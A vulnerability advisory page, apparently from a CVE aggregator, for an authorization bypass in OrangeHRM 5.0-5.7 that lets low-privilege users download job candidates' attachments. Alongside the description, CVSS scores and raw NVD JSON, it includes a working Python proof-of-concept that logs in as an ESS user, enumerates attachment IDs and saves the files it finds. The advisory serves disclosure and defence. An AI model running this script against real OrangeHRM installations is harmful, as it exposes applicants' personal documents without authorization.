Security Vulnerability Report
中文
CVE-2025-66290 CVSS 4.3 MEDIUM

CVE-2025-66290

Published: 2025-11-29 04:15:58
Last Modified: 2025-12-03 16:46:12

Description

OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the application’s recruitment attachment retrieval endpoint does not enforce the required authorization checks before serving candidate files. Even users restricted to ESS-level access, who have no permission to view the Recruitment module, can directly access candidate attachment URLs. When an authenticated request is made to the attachment endpoint, the system validates the session but does not confirm that the requesting user has the necessary recruitment permissions. As a result, any authenticated user can download CVs and other uploaded documents for arbitrary candidates by issuing direct requests to the attachment endpoint, leading to unauthorized exposure of sensitive applicant data. This issue has been patched in version 5.8.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:* - VULNERABLE
OrangeHRM < 5.0 (不受影响)
OrangeHRM 5.0 - 5.7 (受影响)
OrangeHRM >= 5.8 (已修复)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-66290 PoC - OrangeHRM Recruitment Module Authorization Bypass This PoC demonstrates how an authenticated ESS-level user can download candidate attachments without proper recruitment module permissions. """ import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-orangehrm.com" USERNAME = "ess_user" PASSWORD = "password123" def login(session, username, password): """Authenticate with OrangeHRM using ESS credentials""" login_url = f"{TARGET_URL}/index.php/auth/login" data = { 'txtUsername': username, 'txtPassword': password, 'Submit': 'LOGIN' } response = session.post(login_url, data=data, verify=False) return 'dashboard' in response.url or response.status_code == 200 def download_attachment(session, attachment_id): """Attempt to download candidate attachment by ID""" # Recruitment attachment download endpoint attachment_url = f"{TARGET_URL}/index.php/recruitmentApply/apply/applyAttachment/download?id={attachment_id}" response = session.get(attachment_url, allow_redirects=True, verify=False) # Check if download was successful (not redirected to login or error page) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'application' in content_type or 'text' in content_type: return True, response.content return False, None def main(): session = requests.Session() # Step 1: Login as ESS user (no recruitment access) print("[*] Logging in as ESS user...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed!") return print("[+] Login successful") # Step 2: Enumerate and download candidate attachments print("[*] Enumerating candidate attachments...") for attachment_id in range(1, 100): success, content = download_attachment(session, attachment_id) if success: print(f"[+] Found attachment ID: {attachment_id}") print(f" Size: {len(content)} bytes") # Save the attachment with open(f"attachment_{attachment_id}.pdf", 'wb') as f: f.write(content) print(f" Saved to: attachment_{attachment_id}.pdf") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66290", "sourceIdentifier": "[email protected]", "published": "2025-11-29T04:15:58.040", "lastModified": "2025-12-03T16:46:12.117", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OrangeHRM is a comprehensive human resource management (HRM) system. From version 5.0 to 5.7, the application’s recruitment attachment retrieval endpoint does not enforce the required authorization checks before serving candidate files. Even users restricted to ESS-level access, who have no permission to view the Recruitment module, can directly access candidate attachment URLs. When an authenticated request is made to the attachment endpoint, the system validates the session but does not confirm that the requesting user has the necessary recruitment permissions. As a result, any authenticated user can download CVs and other uploaded documents for arbitrary candidates by issuing direct requests to the attachment endpoint, leading to unauthorized exposure of sensitive applicant data. This issue has been patched in version 5.8."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}, {"lang": "en", "value": "CWE-285"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:orangehrm:orangehrm:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.0", "versionEndExcluding": "5.8", "matchCriteriaId": "6B30DE92-57A2-492F-A3F3-B8EFEEBEFE70"}]}]}], "references": [{"url": "https://github.com/orangehrm/orangehrm/security/advisories/GHSA-qf8r-c54j-jw88", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}